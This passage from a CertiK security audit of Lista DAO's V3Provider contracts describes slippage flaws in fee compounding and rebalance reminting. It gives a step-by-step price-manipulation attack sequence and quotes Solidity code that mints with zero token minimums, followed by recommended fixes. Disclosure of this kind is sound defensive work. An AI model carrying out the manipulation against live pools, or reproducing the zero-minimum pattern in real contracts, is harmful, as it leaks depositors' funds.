In a Uniswap V3-style position, the amount of liquidity minted from a pair of token amounts depends on the current pool price relative to the position range. If the current spot is manipulated before compounding, the position manager can consume the shared fees/idle according to the manipulated ratio. After the price is restored, this newly added liquidity can absorb unfavorable price movement that would not have affected those fees/idle had they remained un-compounded.

An example attack sequence is:

1. The protocol has accumulated material uncollected fees or idle balances in the V3 adapter.
2. The attacker temporarily moves the V3 pool spot price away from the fair price.
3. The attacker triggers a minimal `deposit()` or a small share redemption with permissive user-level minimum amounts.
4. `_collectAndCompound()` collects all fees and reinvests fees plus idle with `amount0Min = 0` and `amount1Min = 0`.
5. The attacker restores the pool price or arbitrages the pool back toward fair value.

6. The incremental liquidity added during the manipulated state bears the adverse price movement, leaking value from all share holders.

## Impact

Shared accrued fees and idle balances can be reinvested into the V3 position at an attacker-controlled spot ratio. The value loss is bounded by the fees and idle inventory consumed by the compounding operation, not the entire managed V3 position.

## Recommendation

Keep user-triggered compounding if it is required for fair share accounting, but make the compounding itself price-bounded.

When compounding, derive expected outputs from a manipulation-resistant price, such as `fairSqrtPriceX96()` or a configured TWAP, then enforce nonzero minimums and a minimum liquidity amount.

## LDV-14 | Rebalance Remint Lacks A Token-Slippage Floor And Relies Solely On MinLiquidity

| Category     | Severity     | Location                                                 | Status    |
|--------------|--------------|----------------------------------------------------------|-----------|
| Design Issue | ● Discussion | src/provider/v3/V3DexAdapter.sol (06/26-110544): 379~380 | ● Pending |

### Description

`V3DexAdapter.rebalance` unwinds the old position under caller-supplied token minimums but remints the replacement Uniswap/PancakeSwap V3 position with `amount0Min = 0` and `amount1Min = 0`. The only post-mint guard is `minLiquidity`, which bounds the minted liquidity units rather than the economic token ratio at which they are contributed. When the rebalance transaction is minted while the pool spot price is skewed away from the rate-derived fair price, the vault contributes an off-ratio token mix and its net asset value drops by the liquidity-value convexity gap over that price deviation. The rebalance entryptoint is BOT-gated, so this is a defense-in-depth gap exploitable only by sandwiching a keeper transaction submitted through a public mempool; the extractable amount is bounded by `minLiquidity` and the  $\pm 1\%$  rate-centered range.



```
// File: src/provider/v3/V3DexAdapter.sol
// Lines 368-391
uint128 mintedLiquidity;
if (total0 > 0 || total1 > 0) {
    (uint256 newTokenId, uint128 liquidity, uint256 used0, uint256 used1) =
V3PositionLib.mint(
    POSITION_MANAGER,
    TOKEN0,
    TOKEN1,
    FEE,
    newTickLower,
    newTickUpper,
    total0,
    total1,
    0,
    0
);
tokenId = newTokenId;
mintedLiquidity = liquidity;
idleToken0 = total0 - used0;
idleToken1 = total1 - used1;
} else {
    idleToken0 = total0;
    idleToken1 = total1;
}

if (uint256(mintedLiquidity) < minLiquidity) revert
InsufficientLiquidityMinted();
```

`V3PositionLib.mint` forwards the zero minimums straight into the position manager, adding no further validation:

```
// File: src/provider/libraries/V3PositionLib.sol
// Lines 41-63
function mint(
    INonfungiblePositionManager npm,
    address token0,
    address token1,
    uint24 fee,
    int24 tickLower,
    int24 tickUpper,
    uint256 amount0Desired,
    uint256 amount1Desired,
    uint256 amount0Min,
    uint256 amount1Min
) external returns (uint256 tokenId, uint128 liquidity, uint256 amount0, uint256
amount1) {
    IERC20(token0).safeIncreaseAllowance(address(npm), amount0Desired);
    IERC20(token1).safeIncreaseAllowance(address(npm), amount1Desired);
    return
    npm.mint(
        INonfungiblePositionManager.MintParams({
            token0: token0,
            token1: token1,
            fee: fee,
            tickLower: tickLower,
            tickUpper: tickUpper,
            amount0Desired: amount0Desired,
            amount1Desired: amount1Desired,
            amount0Min: amount0Min,
            amount1Min: amount1Min,
            recipient: address(this),
            deadline: block.timestamp
        })
    );
};
```

## Recommendation

We would like to confirm whether the current rebalance design intentionally relies on `minLiquidity` as the only remint-side slippage bound.

The existing `minAmount0` / `minAmount1` parameters protect the unwind step, but the replacement V3 mint is performed with `amount0Min = 0` and `amount1Min = 0`. As a defense-in-depth improvement, the team may consider adding separate keeper-supplied `mintAmount0Min` / `mintAmount1Min` parameters, derived from an off-chain fair-price quote and forwarded to the mint call. `minLiquidity` can remain as a secondary bound.

## APPENDIX | LISTA DAO (V3PROVIDER) - AUDIT

### Audit Scope

lista-dao/moolah

- src/liquidator/V3Liquidator.sol
- src/provider/v3/V3DexAdapter.sol
- src/provider/v3/V3Provider.sol
- src/provider/v3/V3ProviderOracle.sol
- src/provider/v3/SlisBNBV3DexAdapter.sol
- src/provider/v3/SlisBNBV3Provider.sol
- src/provider/v3/SlisBNBV3ProviderOracle.sol
- src/provider/v3/WbETHV3DexAdapter.sol
- src/provider/v3/WbETHV3Provider.sol
- src/provider/v3/WstETHV3DexAdapter.sol
- src/provider/v3/WstETHV3Provider.sol
- src/provider/libraries/SwapInventoryLib.sol
- src/provider/libraries/V3PositionLib.sol

CertiKProject/certik-audit-projects

- moolah/src/liquidator/V3Liquidator.sol
- moolah/src/provider/v3/SlisBNBV3DexAdapter.sol
- moolah/src/provider/v3/SlisBNBV3Provider.sol
- moolah/src/provider/v3/SlisBNBV3ProviderOracle.sol
- moolah/src/provider/v3/V3DexAdapter.sol

CertiKProject/certik-audit-projects

- moolah/src/provider/v3/V3Provider.sol
- moolah/src/provider/v3/V3ProviderOracle.sol
- moolah/src/provider/v3/WbETHV3DexAdapter.sol
- moolah/src/provider/v3/WbETHV3Provider.sol
- moolah/src/provider/v3/WstETHV3DexAdapter.sol
- moolah/src/provider/v3/WstETHV3Provider.sol

## Finding Categories

| Categories             | Description                                                                                                                                                        |
|------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Centralization         | Centralization findings detail the design choices of designating privileged roles or other centralized controls over the code.                                     |
| Financial Manipulation | Financial Manipulation findings indicate issues in design that may lead to financial losses.                                                                       |
| Design Issue           | Design Issue findings indicate general issues at the design level beyond program logic that are not covered by other finding categories.                           |
| Logical Issue          | Logical Issue findings indicate general implementation issues related to the program logic.                                                                        |
| Inconsistency          | Inconsistency findings refer to different parts of code that are not consistent or code that does not behave according to its specification.                       |
| Denial of Service      | Denial of Service findings indicate that an attacker may prevent the program from operating correctly or responding to legitimate requests.                        |
| Incorrect Calculation  | Incorrect Calculation findings are about issues in numeric computation such as rounding errors, overflows, out-of-bounds and any computation that is not intended. |
| Coding Issue           | Coding Issue findings are about general code quality including, but not limited to, coding mistakes, compile errors, and performance issues.                       |

## DISCLAIMER | CERTIK

This report is subject to the terms and conditions (including without limitation, description of services, confidentiality, disclaimer and limitation of liability) set forth in the Services Agreement, or the scope of services, and terms and conditions provided to you ("Customer" or the "Company") in connection with the Agreement. This report provided in connection with the Services set forth in the Agreement shall be used by the Company only to the extent permitted under the terms and conditions set forth in the Agreement. This report may not be transmitted, disclosed, referred to or relied upon by any person for any purposes, nor may copies be delivered to any other person other than the Company, without CertiK's prior written consent in each instance.

This report is not, nor should be considered, an "endorsement" or "disapproval" of any particular project or team. This report is not, nor should be considered, an indication of the economics or value of any "product" or "asset" created by any team or project that contracts CertiK to perform a security assessment. This report does not provide any warranty or guarantee regarding the absolute bug-free nature of the technology analyzed, nor do they provide any indication of the technologies proprietors, business, business model or legal compliance.

This report should not be used in any way to make decisions around investment or involvement with any particular project. This report in no way provides investment advice, nor should be leveraged as investment advice of any sort. This report represents an extensive assessing process intending to help our customers increase the quality of their code while reducing the high level of risk presented by cryptographic tokens and blockchain technology.

Blockchain technology and cryptographic assets present a high level of ongoing risk. CertiK's position is that each company and individual are responsible for their own due diligence and continuous security. CertiK's goal is to help reduce the attack vectors and the high level of variance associated with utilizing new and consistently changing technologies, and in no way claims any guarantee of security or functionality of the technology we agree to analyze.

The assessment services provided by CertiK is subject to dependencies and under continuing development. You agree that your access and/or use, including but not limited to any services, reports, and materials, will be at your sole risk on an as-is, where-is, and as-available basis. Cryptographic tokens are emergent technologies and carry with them high levels of technical risk and uncertainty. The assessment reports could include false positives, false negatives, and other unpredictable results. The services may access, and depend upon, multiple layers of third-parties.

ALL SERVICES, THE LABELS, THE ASSESSMENT REPORT, WORK PRODUCT, OR OTHER MATERIALS, OR ANY PRODUCTS OR RESULTS OF THE USE THEREOF ARE PROVIDED "AS IS" AND "AS AVAILABLE" AND WITH ALL FAULTS AND DEFECTS WITHOUT WARRANTY OF ANY KIND. TO THE MAXIMUM EXTENT PERMITTED UNDER APPLICABLE LAW, CERTIK HEREBY DISCLAIMS ALL WARRANTIES, WHETHER EXPRESS, IMPLIED, STATUTORY, OR OTHERWISE WITH RESPECT TO THE SERVICES, ASSESSMENT REPORT, OR OTHER MATERIALS. WITHOUT LIMITING THE FOREGOING, CERTIK SPECIFICALLY DISCLAIMS ALL IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT, AND ALL WARRANTIES ARISING FROM COURSE OF DEALING, USAGE, OR TRADE PRACTICE. WITHOUT LIMITING THE FOREGOING, CERTIK MAKES NO WARRANTY OF ANY KIND THAT THE SERVICES, THE LABELS, THE ASSESSMENT REPORT, WORK PRODUCT, OR OTHER MATERIALS, OR ANY PRODUCTS OR RESULTS OF THE USE THEREOF, WILL MEET CUSTOMER'S OR ANY OTHER PERSON'S REQUIREMENTS, ACHIEVE ANY INTENDED RESULT, BE COMPATIBLE OR WORK WITH ANY SOFTWARE, SYSTEM, OR OTHER SERVICES, OR BE SECURE, ACCURATE, COMPLETE, FREE OF HARMFUL CODE, OR ERROR-FREE. WITHOUT LIMITATION TO THE FOREGOING, CERTIK PROVIDES NO WARRANTY OR

UNDERTAKING, AND MAKES NO REPRESENTATION OF ANY KIND THAT THE SERVICE WILL MEET CUSTOMER'S REQUIREMENTS, ACHIEVE ANY INTENDED RESULTS, BE COMPATIBLE OR WORK WITH ANY OTHER SOFTWARE, APPLICATIONS, SYSTEMS OR SERVICES, OPERATE WITHOUT INTERRUPTION, MEET ANY PERFORMANCE OR RELIABILITY STANDARDS OR BE ERROR FREE OR THAT ANY ERRORS OR DEFECTS CAN OR WILL BE CORRECTED.

WITHOUT LIMITING THE FOREGOING, NEITHER CERTIK NOR ANY OF CERTIK'S AGENTS MAKES ANY REPRESENTATION OR WARRANTY OF ANY KIND, EXPRESS OR IMPLIED AS TO THE ACCURACY, RELIABILITY, OR CURRENCY OF ANY INFORMATION OR CONTENT PROVIDED THROUGH THE SERVICE. CERTIK WILL ASSUME NO LIABILITY OR RESPONSIBILITY FOR (I) ANY ERRORS, MISTAKES, OR INACCURACIES OF CONTENT AND MATERIALS OR FOR ANY LOSS OR DAMAGE OF ANY KIND INCURRED AS A RESULT OF THE USE OF ANY CONTENT, OR (II) ANY PERSONAL INJURY OR PROPERTY DAMAGE, OF ANY NATURE WHATSOEVER, RESULTING FROM CUSTOMER'S ACCESS TO OR USE OF THE SERVICES, ASSESSMENT REPORT, OR OTHER MATERIALS.

ALL THIRD-PARTY MATERIALS ARE PROVIDED "AS IS" AND ANY REPRESENTATION OR WARRANTY OF OR CONCERNING ANY THIRD-PARTY MATERIALS IS STRICTLY BETWEEN CUSTOMER AND THE THIRD-PARTY OWNER OR DISTRIBUTOR OF THE THIRD-PARTY MATERIALS.

THE SERVICES, ASSESSMENT REPORT, AND ANY OTHER MATERIALS HEREUNDER ARE SOLELY PROVIDED TO CUSTOMER AND MAY NOT BE RELIED ON BY ANY OTHER PERSON OR FOR ANY PURPOSE NOT SPECIFICALLY IDENTIFIED IN THIS AGREEMENT, NOR MAY COPIES BE DELIVERED TO, ANY OTHER PERSON WITHOUT CERTIK'S PRIOR WRITTEN CONSENT IN EACH INSTANCE.

NO THIRD PARTY OR ANYONE ACTING ON BEHALF OF ANY THEREOF, SHALL BE A THIRD PARTY OR OTHER BENEFICIARY OF SUCH SERVICES, ASSESSMENT REPORT, AND ANY ACCOMPANYING MATERIALS AND NO SUCH THIRD PARTY SHALL HAVE ANY RIGHTS OF CONTRIBUTION AGAINST CERTIK WITH RESPECT TO SUCH SERVICES, ASSESSMENT REPORT, AND ANY ACCOMPANYING MATERIALS.

THE REPRESENTATIONS AND WARRANTIES OF CERTIK CONTAINED IN THIS AGREEMENT ARE SOLELY FOR THE BENEFIT OF CUSTOMER. ACCORDINGLY, NO THIRD PARTY OR ANYONE ACTING ON BEHALF OF ANY THEREOF, SHALL BE A THIRD PARTY OR OTHER BENEFICIARY OF SUCH REPRESENTATIONS AND WARRANTIES AND NO SUCH THIRD PARTY SHALL HAVE ANY RIGHTS OF CONTRIBUTION AGAINST CERTIK WITH RESPECT TO SUCH REPRESENTATIONS OR WARRANTIES OR ANY MATTER SUBJECT TO OR RESULTING IN INDEMNIFICATION UNDER THIS AGREEMENT OR OTHERWISE.

FOR AVOIDANCE OF DOUBT, THE SERVICES, INCLUDING ANY ASSOCIATED ASSESSMENT REPORTS OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, TAX, LEGAL, REGULATORY, OR OTHER ADVICE.



# Elevate Your Web3 Journey

CertiK is the largest Web3 security platform combining formal verification with audits and comprehensive security solutions.

Lista Dao (V3Provider) - audit Preliminary Comments | CertiK Assessed on Jul 8th, 2026 | Copyright © CertiK

